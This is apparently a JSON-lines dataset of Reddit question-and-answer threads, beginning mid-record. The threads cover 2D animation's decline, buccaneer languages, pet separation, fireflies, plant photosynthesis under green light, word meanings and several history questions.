less time (in terms of footage, or \"minutes of animation\" if you will). We also have different programs to facilitate this.\n\nThat being said, an aspect of 2D FEATURE animation that nobody else has mentioned,  and I feel is the main reason why 2D films aren't being produced, is that it is extremely difficult and work intensive. \n\nYou might immediately jump to the conclusion that 3D is more difficult and costs more, but that simply is not the case anymore. It is becoming a sort of \"lost art\" in some ways. There are tons of amazing animators that can draw extremely well out there, but many either work in TV, or learn 3D animation in Maya and move on to feature studios.\n\nAnimating a 3D feature is still extremely difficult, but with the right knowledge and the right rigs, you can achieve better results much faster than drawing frame by frame 2D. 3D is also easier to colorize, light, and revise.\n\nAlmost any animator out there will tell you that they would LOVE to work on a 2D feature. It'd be a dream. But unfortunately the big studios have moved away from that, and the budget+pipeline just aren't there anymore.", "They're big in japan and over-seas. Not so much in the U.S. (they do get cult followings though)\n\nBig production anime companies are making 2d look extremely good, a well executed 2D animation sequence will always look more visually pleasing than a 3d one. \n\n[Such as this](_URL_0_)", "Watch old movies and you realize some things just can't be done in 3d but look amazing in frame by frame drawings. I really miss them I prefer it to 3d. Especially now that they attempt to make everything as realistic as possible except the characters and a few art syle elements. Take monsters inc for example. The new one has ridiculously realistic environments for really basic characters. Its weird.\n", "It all pretty much has to do with how investors feel about 2D animated movies. After dreamworks and pixar started making millions with their 3D movies people started talking about how 3D animated movies were just plain better. The problem here was that pixar was just writing movies so much better than disney animation studios was at the time and dreamworks was being the opposite of disney by being a little more raunchy. After the horrendous movie that was, \"home on the range,\" disney investors would not back up a  2D animated movie because their perspective was that the medium just didn't bring the same money that the 3D ones did. Eventually John Lasseter who was the head on pixar tried to explain to these people that the problem wasn't with the medium but the fact that they couldn't just rely on slapping the disney logo on any movie and believe that it would bring in millions, they had to work hard on the final product. That's about the time that princess and the frog came out and it still didn't make the numbers that disney was looking for but it was still decent nonetheless. Since then there hasn't been an attempt at a high budget 2D animated movie other than what you have mentioned that comes out of Japan but that's because a lot of those movies like the miyasaki films do just what lasseter was talking about. They work hard on telling a great story that people want to see, not just put out some crap every year and expect to make money out of it.", "I work at a feature animation/vfx house. The main issues is a combination of 3 factors: personnel, pipeline, budget/investment.\n\nBoth 2D and 3D features require a TON of people. There's a reason why credit lists are a mile long when you see a Disney or Pixar movie. Because of the direction of animation/vfx education, it's easier (and cheaper) to find people who can work in a 3d pipeline. \n\nThe second key is the pipeline, which is essentially the logistics and workflow of data from the start to the end of the production. Studios invest millions in these pipelines, and most pieces would have to be gutted and re-written to support an exclusive 2D animation pipeline. It's a risk; a risk that development studios aren't really willing to take unless they get a distribution deal/subsidy so they don't have to pay for it.\n\nThe last big thing working against investment/budgetary concerns. Like it or not, but making feature animated movies is a business, whose goal is to make money by selling the movie to theaters or earning portions of the revenue. Given how Disney tried the Hail Mary in the Princess and the Frog but still ended up disbanding most of the 2D team, is clear how little confidence there is in how well a $100 million 2D animated feature would sell.\n\nYou have your bastions of bygone eras like LIAKA with stop-motion as they've built a brand and identity out of their techniques, but it's another thing for a Blue Sky or Dreamworks to drop everything and ship a first-run theatrical 2d animated feature. Not when everyone's still riding on the Pixar-style jockstrap."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://www.youtube.com/watch?v=m5CHqQ629g0"], [], [], []]}
{"q_id": "2tr0p7", "title": "Is there any truth to the claim that there is a correlation between temperature and temperament?", "selftext": "This 2001 paper claims that violent crime increases where temperatures are high:\n  \n_URL_0_\n\nHave there been any further studies?  Has this hypothesis been discredited? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2tr0p7/is_there_any_truth_to_the_claim_that_there_is_a/", "answers": {"a_id": ["co1mt79"], "score": [4], "text": ["According to this [more recent work](_URL_1_), weather does seem to have an influence, when taking into account time spent outside.\n\n[This modelling paper](_URL_0_) also finds an association between weather and crime rates.\n\nSidebar: Keep in mind that there are many other factors that influence these relationships, and that we don't know the true nature of these associations."]}, "title_urls": [], "selftext_urls": ["http://public.psych.iastate.edu/caa/abstracts/2000-2004/01A.pdf"], "answers_urls": [["http://sf.oxfordjournals.org/content/82/4/1333.short", "http://pss.sagepub.com/content/16/9/724.short"]]}
{"q_id": "16hz9g", "title": "What language did the multinational Caribbean buccaneer crews tend to operate in?", "selftext": "I've been reading about the Caribbean freebooters of the 1660s-70s that mostly pirated the Spanish, usually some combination of Dutch, English, and Frenchmen, apparently, along with mulattoes, mestizos, black slaves and Indians. So my question is, what language did they tend to speak to each other? \n\nFor instance I'm reading about the life of Jan Erasmus Reyning who was a Dutch pirate captain, but he had Englishmen and Frenchmen under his command as well. What language do you suppose they used? \n\nMore generally, how common was it in the New World for people at that time (17th century) to speak foreign languages? I suppose out of necessity plenty of people had learned Spanish, and other languages, but I'd still like to know past speculation.\n\nPS, to others, you should read about the 17th century buccaneers of the Caribbean. It's all very interesting stuff.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/16hz9g/what_language_did_the_multinational_caribbean/", "answers": {"a_id": ["c7w96yg", "c7w9rn7", "c7wa2q2", "c7wa4b3", "c7wbbo1", "c7wfbv2", "c7wgaa4"], "score": [120, 4, 400, 19, 38, 2, 2], "text": ["Do not answer this question unless you actually have an answer that you know is true. I've already deleted every comment so far because they were all either speculation or \"I wonder that too!\"", "I'm sorry I don't have an answer. I just wanted to find out what books you would recommend.  ", "Before going off on languages, it's important to note that, prior to the 17th-18th century, very few European languages were the mostly artificial, standardized things we know today - for example, French wasn't really \"pulled together\" until the French revolution, so someone like Jean Bart likely would have had a crew composed mainly of Bretons, who spoke, well, Breton, a Celtic language.\n\nFirst off, privateers:  these would have (mostly) used their native regions' language, given that they operated under letters of marque issued by the major crowns of Europe.  While a lot of crews recruited in random ports of call, they usually started in one specific area when a ship's captain would advertise for crew members in a given port.  \n\nA pirate crew generally didn't just start out as one guy recruiting a rag-bag multinational/multiethnic bunch of opportunists, but would often start out (as in Charles Vane's example) as part of a privateer crew \"gone bad\", going outside the terms of their letter of marque or deciding to continue pillaging after it expired, the war ended, whatever.  So now you've got a core group of pirates speaking a reasonably common language.  This would in turn drive new recruits to adapt and learn, so you'd end up with a range of language abilities, from basic patois/pidgin to whatever regional dialects the \"core\" crew were from, depending on where the ship originated.\n\nEven when recruiting crews in \"international\" locations like Tortuga, a pirate like L'Ollonais would have had access to a mostly French-speaking crew, his first ship being given to him by the (French) governor of Tortuga.  He originally hailed from Vend\u00e9e in Western France, and so would have spoken some variant of Occitan or Poitevin-S\u00e9ntunjhaes (had to look that up) - which was a romance language and had at least some commonality with other French dialects of the time.  It would not have been hard to find a way to communicate with other French \"expats\" using some mixture of various regional dialects.  \n\nThe same goes for Henry Morgan, a Welshman who spoke some variant of English as the son of a somewhat well-off family who served a significant amount of time in various wars and other pirating activities.  Operating mainly from Jamaica, he would have mainly recruited English-speaking (or some variant thereof) crews.\n\nAlso, arrgh.\n\nAlso, the whole \"arrgh mateys\" thing is bunkum, thought up by Robert Newton, who played Long John Silver in the 1950 _Treasure Island\", and who thought his West Country/Cornish dialect was a plausible-sounding way for a pirate to tarrrrrghk.  But you knew that.\n\n_Edit:_ a fun comparison I thought of was merchant ship crews today - these are often crewed largely by Filipinos and other South Asians.  Even among Filipinos, there are 8 major dialects, and some guy from Mindanao who signs up for a crew probably won't have more than a rudimentary knowledge of English or Tagalog.  Then you put him next to an Indian captain, a South African engineer, a Ghanaese mate, an Uruguayan steward...you get the idea.  English is pretty much the de facto language, but some of the pidgin combos that come out of it are, er, functional at best.  \n\nAlso don't forget that French was, at least in diplomatic circles, the English of the day, so your more educated British / Dutch / Spanish captains would probably have spoken at least fairly basic French.\n\nThere's probably any number of things wrong imprecise, oversimplified, or downright wrong in this, so please please please I welcome corrections.", "This source suggests that language barriers in such a setting (especially if contact is prolonged due to long voyages) would likely be overcome by the evolution of a suitable patois.\n\n_URL_0_\n\nWhether or not a primary source exists for the period which could confirm or deny this conjecture is unknown to me.", "Buccaneers were very poor colonists, mostly French, living in the western reaches of Hispaniola. They hunted wild cattle, then dried and salted it's meat for sale; preparing this kind of jerky was *to boucan*, which is the etymological origin of the word buccanneer. Freebooters, on the other hand, were small scale pirates operating from the Lesser Antilles; the word comes from the dutch *vrijbuiter*. Eventually, both these groups converged, joining the seafaring expertise of the freebooters and the sharpshooting skills of the buccanneers. Driven out from their main bases of operations, they established in Tortuga, a small, rocky island off the North coast of Hipaniola, and formed a loose confederacy, \"The Brothers of the Coast\". Between 1630 and 1680 the Brothers terrorized the Caribbean, in what could be called the Golden Age of Piracy in the New World.\n\nNow to the matter or of language: The lingua franca among the Brothers, which as OP noted, could come from many European nationalities, but could also include escaped African Slaves, mestizos and natives, was a form of pidgin English. From [Wikipedia](_URL_0_), \"a pidgin is \" is a simplified language that develops as a means of communication between two or more groups that do not have a language in common. [...] Fundamentally, a pidgin is a simplified means of linguistic communication, as it is constructed impromptu, or by convention, between individuals or groups of people. A pidgin is not the native language of any speech community, but is instead learned as a second language\". What Richard Burton said of 18th century Jamaica can well be applied tho this suatuation, \"not of diglossia, triglossia,\nor even heteroglossia but of panglossia, a state of 'generalized multi-\nlingualism\". (Afro-Creole: Power, Opposition and Play in the Caribbean. Ithaca, NY: Cornell University Press, 1997\n)\n\n\"Pirates' language is distinguishable from that of the generality of sailors mostly by its blasphemy and its self-naming practices that, like the skeletons and hourglasses on the Jolly Rogers, stressed the irreverent, oppositional, radically autonomous, do-or-die ethic that controlled pirate identity. Such an ethic is apparent in the names\npirates gave their ships: \"Batchelor'sDelight, Liberty, Night Rambler, Queen Anne's Revenge, Cour Valant, Scowerer,Flying Dragon, Most Holy\nTrinity,Happy Delivery, Bravo, BlackJoke,and Blessing.\" (Erin Mackie, \"Welcome the Outlaw: Pirates, Maroons, and Caribbean Countercultures\". Cultural Critique, No. 59 (Winter, 2005), pp. 24-62)", "I just finished the novel *The Thousand Autumns of Jacob De Zoet* by David Mitchell, and it was a very interesting insight to the role of language in a non-globalized world.\n\nThe Japanese have Dutch language only interpreters, who are still learning. The Dutch factory is composed of a motley of Europeans... to go on would ruin the plot, but the book displays the power of language and miscommunication to everyday life at the time, turn of the 19th C.", "I read the book *The Devil's Anarchy* by Stephen Snelders, by the way, and I recommend it if you like pirateology at all. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://heinonline.org/HOL/LandingPage?collection=journals&amp;handle=hein.journals/josf17&amp;div=25&amp;id=&amp;page="], ["https://en.wikipedia.org/wiki/Pidgin"], [], []]}
{"q_id": "3xerrc", "title": "are puppies and kittens just brutally sad when they are first taken away from their parents? and how long does it take them to get over it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3xerrc/eli5_are_puppies_and_kittens_just_brutally_sad/", "answers": {"a_id": ["cy405mn", "cy40fcj", "cy40wm3", "cy44y2f", "cy496r3", "cy4apyf"], "score": [7, 5, 47, 41, 8, 3], "text": ["We got a puppy recently and she took to her new surroundings very well. She was hyperactive", "Cats, at least, aren't what I would consider \"brutally sad.\" There is some separation anxiety, especially if proper steps aren't taken, but it usually passes quickly. The kitten might experience higher levels of anxiety for about a week, while the mother will have a day or two of looking for the missing kitten (less if all things smelling like it are removed). Remember, mother cats in the wild can push kittens out as early as three months, which is the time frame a breeder will try to remove it.", "This is one of the cases where we tend to anthropomorphise animals - that is, we apply completely human terms to them. As humans, something like that would be extremely painful, but it's not like that for animals. They just don't have that kind of connection to what we'd call family. In fact, many animals are pretty much geared towards eventually completely severing all ties with parents/siblings. ", "It depends on individual temperament and how old they are when they are taken away from their parents/siblings. It's not a good idea to separate them before they have been weened off of mothers milk. The longer they are with their family before being adopted out, the less problems you will have and the more socialized they will be. \n\nTake a kitten away from their mother before they are done weening (drinking milk and not eating solid food) and you will usually get a cat with a wool sucking obsession. IE even months later or as an adult cat they will suck on clothing, your shirt, blankets, towels, especially when you pet them. To some extend when a cat 'makes bread' with their paws, they are expressing nursing behavior. \n\nIf you wait for them to be weened but take them away before they become socialized and get used to dealing with their siblings they may become easily startled, less social, and you end up with the cat that hides under the bed when company comes over. \n\nMost of these behaviors go away once they become adults but some behaviors, like lack of proper socializing, can become permanent aspects of their personality and you end up with a cat that can't tolerate changes to their environment and behavioral problems. Not to mention mal adjustment if you ever get another pet. \n\nI've adopted 3 cats from the pound and what I did was went and found the saddest kitten I could find. The one nobody wanted, the one that was so given up that they didn't even raise their heads when you came in the room. And all 3 have turned out to be very loving, wonderful pets. But one sucked wool until they were 2 years old, one cannot stand to be alone and will go nuts if you lock them out of the bedroom, and the other is a ghost.  ", "For one week my puppy looked constantly for his siblings.  He would sleep beside a mirror for comfort.  It slowly died down after 4 weeks.", "I have four animals. I brought my first two cats home from shelters and they were already considered elderly, so there were no separation behaviours.\n\nMy dog came home at 6wks from a shelter where she was abandoned with no mother (I didn't know she was that little at the time) and she seemed a little confused, and then just content to be petted. She used to sleep with her head on my neck/chest. She never behaved like she was upset nor did she seem to be looking for her six siblings. She is however extremely hyper-bonded to me (I can't go ANYWHERE without a 70lb shadow).\n\nMy 10mo old kitten came home from a breeder (reputable, limited litters, and a breed that I've always wanted purebred so I vetted the crap out of that breeder) at 15wks old because she was held due to a minor ringworm infection that her breeder didn't want to give my other animals. She never seemed upset or confused, mostly just wanted to be played with and petted on. She was a little jumpy at first in the new environment, but that was done in a day or two. She still exhibits kneading behavior despite being properly weaned but I think it's beyond cute and it's self-soothing so she can get comfy to sleep so I encourage it.\n\nSo in total -- I have never had a cat or dog who seemed more than slightly perturbed as long as they were given plenty of affection and attention upon arrival."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "126m6v", "title": "why is frankenstorm sandy such a big deal?", "selftext": "I can't wrap my feeble little mind around it.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/126m6v/eli5_why_is_frankenstorm_sandy_such_a_big_deal/", "answers": {"a_id": ["c6slb3z"], "score": [14], "text": ["If you saw the movie \"The perfect storm\" (which was based on true events), this one is very much like that. Except instead of happening off in the Atlantic, it is going down right on top of the East coast.  Sandy herself isn't too bad, and left to her own would spin out into the North Atlantic and die out.  The front moving in from the west isn't too bad, and would likely just give us a few days of rain.  The cold air coming down from the north isn't too bad, you expect some chilly nights in October.  But you put the three together, and the western front is going to pull Sandy inland, Sandy is going to feed a massive amount of energy and moisture into that front.  And the cold air to the north is going to force the whole system to stall out right on top of us for days dumping a foot of rain in some places.  Once the ground is saturated, the winds will have a field day pushing trees over.  And oh, did I mention, Monday is the full mood so we get to add high spring tides to any storm surge.\n\nGee, I can't wait."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "s3g7r", "title": "Where did all the lightning bugs go?", "selftext": "The recent controversy about bee population decline being linked to pesticides got me wondering about another insect. I live in North Texas and around 15 years ago when I was really young (6ish), I remember going out during the night and catching lightning bugs. These things were everywhere. Not only do I remember my front yard having more than I could count but when I went to friend's houses I saw the same thing. Now I don't see them anymore when I visit the area, which I regularly do. Is this related in anyway to the bee situation? If not can someone explain to me why this has happened? Is it just this region?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/s3g7r/where_did_all_the_lightning_bugs_go/", "answers": {"a_id": ["c4asg7c", "c4au3l4", "c4azcv7", "c4azpc9", "c4b1ejr"], "score": [118, 33, 2, 2, 3], "text": ["The two main factors that researchers believe to be responsible are destruction/disruption of their natural habitat, and an increase in light pollution. However, there are additional factors that are most likely more prevalent in other areas, such as pesticide usage, environmental pollution (both air and water), and even ecological changes that produce higher numbers of natural predators/lower numbers of natural prey. \nMost fireflies prefer warm, humid areas such as forests or marshes. The paving over of fields and forests, as well as increases in boat traffic can drive away fireflies or discourage them from breeding.\n\nLight pollution can affect mating habits because very specific flash patterns are used to attract a possible mate. Fireflies can be confused by car headlights and an increase in overall brightness at night, thus deterring breeding.\n\nAlthough both of those main factors are valid reasons, my money is most likely on subtle ecological shifts, which can be explained mostly by human interferences, such as pollution or food chain changes (increases or decreases in other species). It would not at all surprise me if you'd be correct in connecting their fates with that of bees due to pesticides.\n\nIt really is sad, I do remember having them as a big part of spring and summer growing up.\n\n", "Fireflies are actually beetles (Coleoptera) and not part of any fly Order.  I always thought that was neat.  Carry on...", "Not a scientific response, but I live in Weatherford, Texas and we still get clouds of them every night during their appropriate season. But there's nothing around my house but cow pasture and farmers", "Along the same vein here, why is it some people call them lightning bugs and others firefly? Is it just a geographical thing?", "A lot of the controversy you see around the usage of certain pesticides revolves around the FDA and/or EPA allowing them to be used (or not) on various food crops. What few people realize is many of the pesticides disallowed or restricted for use on food crops are allowed to be used for lawn care. Guess where those suburban fireflies live before they hatch out and fly around entertaining you:  in the roots of the grass in your lawn. \nWith the popularity of lawn care companies who mow and fertilize and spray (read poison) lawns throughout suburbia, all the firefly larvae are being killed  before they hatch out. The few fireflies that make it to the trees are coming from the lawns of those remaining few who don't pay to have their lawns look like golf courses.\n-- Edit\nOh, and yeah. It is related to the bee problems. As a suburban beekeeper, I lose a lot of my bees to my neighbors lawncare spraying around this time of year. Those neonicontioid pesticides you've been hearing about that kill bees? Those are a primary lawn care pesticides: Dinotefuran, Clothianidin, Acetimacloprid, etc. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "2atbaf", "title": "What were the earliest villages like?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2atbaf/what_were_the_earliest_villages_like/", "answers": {"a_id": ["ciylxo2"], "score": [2], "text": ["That's a very broad question. What, more specifically, are you looking to find out?\n\nAlso, the earliest villages all existed before any kind of writing did, so we can really only learn about them through archaeology rather than history. I suggest you cross-post this to /r/AskAnthropology (the broader discipline of which most archaeology is a part) to get a broader array of answers.\n\nAll that said, a good archaeological work on early villages was *The Early Mesoamerican Village,* edited by Kent Flannery. It is a mix of solid archaeological work on the elements that made up an early village in Mexico mixed with some of Flannery's trademark parables, his accounts that, though fictional, are informative and well-researched and give you a more personal take on things than you typically get with dry archaeological writing (and they're always funny and entertaining). And look, it's your lucky day! It looks like someone has [scanned the book and made it publicly available!](_URL_0_) (I am a very big fan of open-access scholarly work, and having a digital library that I can take anywhere. I own a hard copy of this book and I prefer to read hard copies, but I am totally downloading this scan too)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://excavarymemoria.files.wordpress.com/2012/07/early-mesoamerica-village3.pdf"]]}
{"q_id": "kkh8z", "title": "Would a plant die if you put it in a room, tended to it properly, but only shone green light on it?", "selftext": "I'm thinking this because green things reflect green light and absorb others. So, would this mean it wouldn't absorb any light?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/kkh8z/would_a_plant_die_if_you_put_it_in_a_room_tended/", "answers": {"a_id": ["c2kz7m1", "c2kza9n", "c2l215t", "c2kz7m1", "c2kza9n", "c2l215t"], "score": [106, 19, 5, 106, 19, 5], "text": ["~~Yes it would die~~.  Most plants use two pigments to photosynthesize, Chlorophyll A and Chlorophyll B.\n\nChlorophyll A absorbs near-UV and near-IR light (absorption peaks at 665 nm and 465 nm).  Chlorophyll B absorbs blue and red light (absorption peaks at 460 nm and 647 nm).\n\n[Here's a graph](_URL_0_)\n\nEdit:  Okay, so it won't die.  See SuperAngryGuy's post.  In fact, you should all just upvote his whole thing and disregard mine because he has gone into a lot more depth and clearly knows a whole lot more about plant physiology than I do.", "If the green light is intense enough, then maybe not.  The graph stoicsmile shows of chlorophyll absorptions shows that Chlorophyll B still has some absorption in the green.   It's much more efficient in the red and blue, but in the green the cross-section is not zero, so with enough intensity there would still be photosynthesis with green light.  \n\nIt would depend on the plant if this less-efficient light source provides enough intensity at the correct wavelengths without otherwise photodamaging the plant.  ", "Actual paper that does the actual experiment:\n\n_URL_0_\n\nPlants photosynthesize just fine with green light.  ", "~~Yes it would die~~.  Most plants use two pigments to photosynthesize, Chlorophyll A and Chlorophyll B.\n\nChlorophyll A absorbs near-UV and near-IR light (absorption peaks at 665 nm and 465 nm).  Chlorophyll B absorbs blue and red light (absorption peaks at 460 nm and 647 nm).\n\n[Here's a graph](_URL_0_)\n\nEdit:  Okay, so it won't die.  See SuperAngryGuy's post.  In fact, you should all just upvote his whole thing and disregard mine because he has gone into a lot more depth and clearly knows a whole lot more about plant physiology than I do.", "If the green light is intense enough, then maybe not.  The graph stoicsmile shows of chlorophyll absorptions shows that Chlorophyll B still has some absorption in the green.   It's much more efficient in the red and blue, but in the green the cross-section is not zero, so with enough intensity there would still be photosynthesis with green light.  \n\nIt would depend on the plant if this less-efficient light source provides enough intensity at the correct wavelengths without otherwise photodamaging the plant.  ", "Actual paper that does the actual experiment:\n\n_URL_0_\n\nPlants photosynthesize just fine with green light.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/File:Chlorophyll_ab_spectra2.PNG"], [], ["http://www.sciencedirect.com/science/article/pii/0002157171900227"], ["http://en.wikipedia.org/wiki/File:Chlorophyll_ab_spectra2.PNG"], [], ["http://www.sciencedirect.com/science/article/pii/0002157171900227"]]}
{"q_id": "51t75g", "title": "what are the differences between sardonic, sarcastic, and facetious?", "selftext": "I have a general understanding of each, but for some reason I can't pick out examples of these in daily life. ELI5 please!!!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/51t75g/eli5_what_are_the_differences_between_sardonic/", "answers": {"a_id": ["d7en0yq", "d7enxxr", "d7f6jv1"], "score": [12, 35, 2], "text": ["Sardonic: Wow you are an idiot. I weep for the direction civilization is headed if I have to explain this to you.  \nSarcastic: Nice question genius.  \nFacetious: Meh, it doesn't matter what the difference is.  They're pretty much the same words anyways. ", "Sardonic means \"characterized by bitter or scornful derision; mocking; cynical; sneering.\" \n\nSarcastic means characterized by \"harsh or bitter derision or irony.\"\n\nFacetious means \"not meant to be taken seriously or literally.\"\n\nThe main difference between sarcastic and sardonic is that a sarcastic remark is meant to hurt someone and involves irony. A sardonic remark is simply derisive or cynical on its own and it doesn't have to involve irony or be aimed at someone.\n\nFor example, if Jane has smeared her makeup from crying and Kim says \"I just looove your makeup, Jane,\" that's sarcastic because Kim is making a derisive remark intended to hurt Jane by saying the opposite of what she means. If Jane is just looking at her messed up makeup in the bathroom and says something herself \"I've always loved the alternative look\" as a grim joke to herself, then that's sardonic because even though it's not aimed at anyone, it's derisive and mocking.\n\nFacetious just means playing around.\n\nPeople also use \"sarcasm\" to describe anytime someone says the opposite of what they mean, regardless of whether it's meant to hurt someone or derisive. That's not the dictionary definition, but it's probably the most common use of the word.", "Sarcasm can be used as a form of humor where both people can laugh. Being sardonic is purely one-sided. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5nmd21", "title": "Before 1800, would the average person have any irrational fears of things?", "selftext": "For instance, i have arachnophobia (fear of spiders). Would they have this? Or would they be used to traveling through spider webs, having spiders in their homes, perhaps even eating spiders? \nWhat about water? Some people fear water they can not see the bottom of, or just drowning. But would these people be used to much more dangerous things and not care about a little water? \n\nMy question boils down to this: Have people become cowards?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5nmd21/before_1800_would_the_average_person_have_any/", "answers": {"a_id": ["dccqt0p"], "score": [5], "text": ["It's certainly true that some conditions of life can become normalized to the point people no longer talk about them. Even moving from one geographic area to another can be a case of this. A great historical example is *itchiness*.[ Lice, fleas, mosquitoes, were endemic in the pre- and early modern \\(European\\) world.](_URL_2_) We know from discussions and material evidence that people were indeed bothered by them and tried to get rid of the infestations, but even those serve as a vital reminder of the *underlying* life conditions of everything else that we talk about.\n\nAs far as fears go, though: I'm not qualified to talk about anthropological or psychological studies of \"primal fears.\" You can definitely trace a deep-rooted fear of the ocean in premodern Western sources, however. Alain Corbin's *The Lure of the Sea* is a wonderful (if limited by his use of literary sources) exploration of the changing relationship of humans and ocean. But it's not an accident that when late antique and medieval writers need a metaphor for the world gone sour, their go-to language is \"the shipwreck of the world.\" Medieval Christian sailors carried consecrated Eucharist hosts and saints' relics with them to try to ward off storms and sea monsters. And as /u/Georgy_K_Zhukov and I recently discussed, the story of Jonah and an anxiety to prove that humans could *survive* bad events in the ocean [preoccupied 19th and early 20th century Americans and Europeans](_URL_1_).\n\nThat's just one example to get you started! The study of fear as a concept and of individual fears throughout history has an incredibly rich body of literature. If you're interested in reading about the sort of premodern fear that is largely (not entirely) absent from the modern world, have a look at this answer on death and hell in the late medieval imagination:\n\n* [Were the deathbeds of the Middle Ages filled with shrieking knights terrified of hell because of their war profession?] (_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/4o4af1/were_the_deathbeds_of_the_medieval_world_filled/d4a2v4y", "https://www.reddit.com/r/AskHistorians/comments/5n4hx4/my_grandmother_once_told_me_there_was_an/", "https://www.reddit.com/r/AskHistorians/comments/4wewo5/given_the_prevalence_of_lice_fleas_and_bedbugs/d66kqtp/"]]}
{"q_id": "smw1m", "title": "During the Cold War, what jobs were being supported/promoted on both sides?", "selftext": "The Cold War was a battle for economic superiority. What sort of industries were the US subsidizing? What jobs were being pushed? I guess what I'm asking is how propaganda glamorized certain jobs that would most benefit the US's stance in the Cold War (astronauts during the Space Race, etc.). What sort of jobs were the Soviet government creating?\n\nEDIT: Sources would be lovely\n\nEDIT: Thank you guys for the responses. I gave a presentation on this subject and your answers really helped. Thank yall", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/smw1m/during_the_cold_war_what_jobs_were_being/", "answers": {"a_id": ["c4fbldd", "c4fec29"], "score": [2, 5], "text": ["There's a really good book about the engineering culture of East Germany and the prominent role of STEM topics in media and propaganda called Red Prometheus. Though maybe you are just looking for info on the superpowers.", "Stephen J. Whitfield's \"The Culture of the Cold War\" offers some good information when talking about the significance of Nixon's Kitchen Debate with Khrushchev. Nixon won the debate while they were touring the model American home when he started to point out the choices Americans could make between a plethora of color tvs and washing machines. The Soviet premier responded that one type of washing machine should be sufficient if it worked, to which Nixon responded *\"Isn't it better to talk about the relative merits of washing machines than the relative strength of rockets?\"*.\n\nWhitfield goes on to explain how Khrushchev failed to score points by pointing out that the same companies that provided superior American consumer goods were the same companies reliant on deals with the department of defense to build those rockets. The same labs that made push buttons for home appliances made the buttons used to launch missiles. Whitfield talks about Chrysler, GM, GE and Goodyear all advertising heavily through the 1950s about the necessity and efficiency of their weapons systems. Goodyear in particular claimed that rising defense budgets would provide more durable and safer tires for family automobiles. A good statistic that Whitfield gives about Nixon's home state was that over half of the economic growth between 1947 and 1957 was due to defense contracts, with San Diego owing 70 percent of their total employment figures to these type of contracts, with Los Angeles coming in at 59%. \n\nThat would indicate that pretty much every profession under the sun was subsidized and promoted by the government, which dovetails perfectly with the recognized need at the end of WWII to find a way to convert war industries to civilian purposes to prevent a repeat of the Great Depression."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9177ta", "title": "Was french magic stronger than Algerian magic? Or in other words, did Jean Eug\u00e8ne Robert-Houdin's magic trick prevent an algerian revolt in the 19th century?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9177ta/was_french_magic_stronger_than_algerian_magic_or/", "answers": {"a_id": ["e2vyxte"], "score": [3], "text": ["This isn't an answer \u2014 I had not heard of the incident you are describing until I looked it up, and don't have the sources to give an answer. But for the aid of anyone else who might be better sourced, or just to satisfy the curiosity of anyone else intrigued by the wording of this question, here is [a Wikipedia description of the alleged incident](_URL_0_) involving Robert-Houdin in Algeria that u/Predicted is asking about; it is sourced primarily to Jim Steinmeyer's *Hiding the elephant: how magicians invented the impossible and learned to disappear* (2004):\n\n >  Napoleon III was worried about a religious tribe called the Marabouts. The Marabouts were able to control their tribe with their faux magical abilities. They advised their leaders to break ranks with the French. Napoleon wanted Robert-Houdin to show that French magic was stronger.\n >  \n >  The magical mission began with an informal show at the Bab Azoun Theatre in Algeria, where he would give performances twice weekly. He also gave many special galas before the country's tribal chiefs. He used The Light and Heavy Chest during these performances, but instead of playing it for comedy as he had in Paris, here he played it straight. Robert-Houdin once invited the strongest tribesman on stage and asked the Arabian to pick up the wooden chest placed on stage. The Arabian picked it up with no problem. Then Robert-Houdin announced that he was going to sap his strength. He waved his wand and declared, \"*Contemplez! Maintenant vous \u00eates plus faible qu'une femme; essayez de soulever la bo\u00eete.*\" (\"Behold! Now you are weaker than a woman; try to lift the box.\") The Arabian pulled on the handle of the chest, but it would not budge. He tried and tried until he tried to rip it apart. Instead, he screamed in pain, as Robert-Houdin had rigged the box to give the Arabian an electrical shock if he tried to rip the handles off. The Arabian let go of the handle, ran off into the aisle, and ran screaming out of the theatre.\n >  \n >  After his performances were done, he gave a special presentation for several chief men of their tribe. He was invited to the home of the head of the tribe of the desert interior, Bou-Allem. In dawn of the Arab desert, Robert-Houdin was challenged to do a special trick. He obliged by inviting one of the rebels to shoot at him with a marked bullet, which he caught between his teeth. He was given a certificate from Bou-Allem, who wore a red robe symbolizing his loyalty to France. With this scroll praising his mysterious manifestations, Robert-Houdin went back to France with the mission accomplished.\n\nHopefully someone else is able to provide historical context on this claimed intersection of prestidigitation and diplomacy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Jean_Eug\u00e8ne_Robert-Houdin#The_magical_mission"]]}
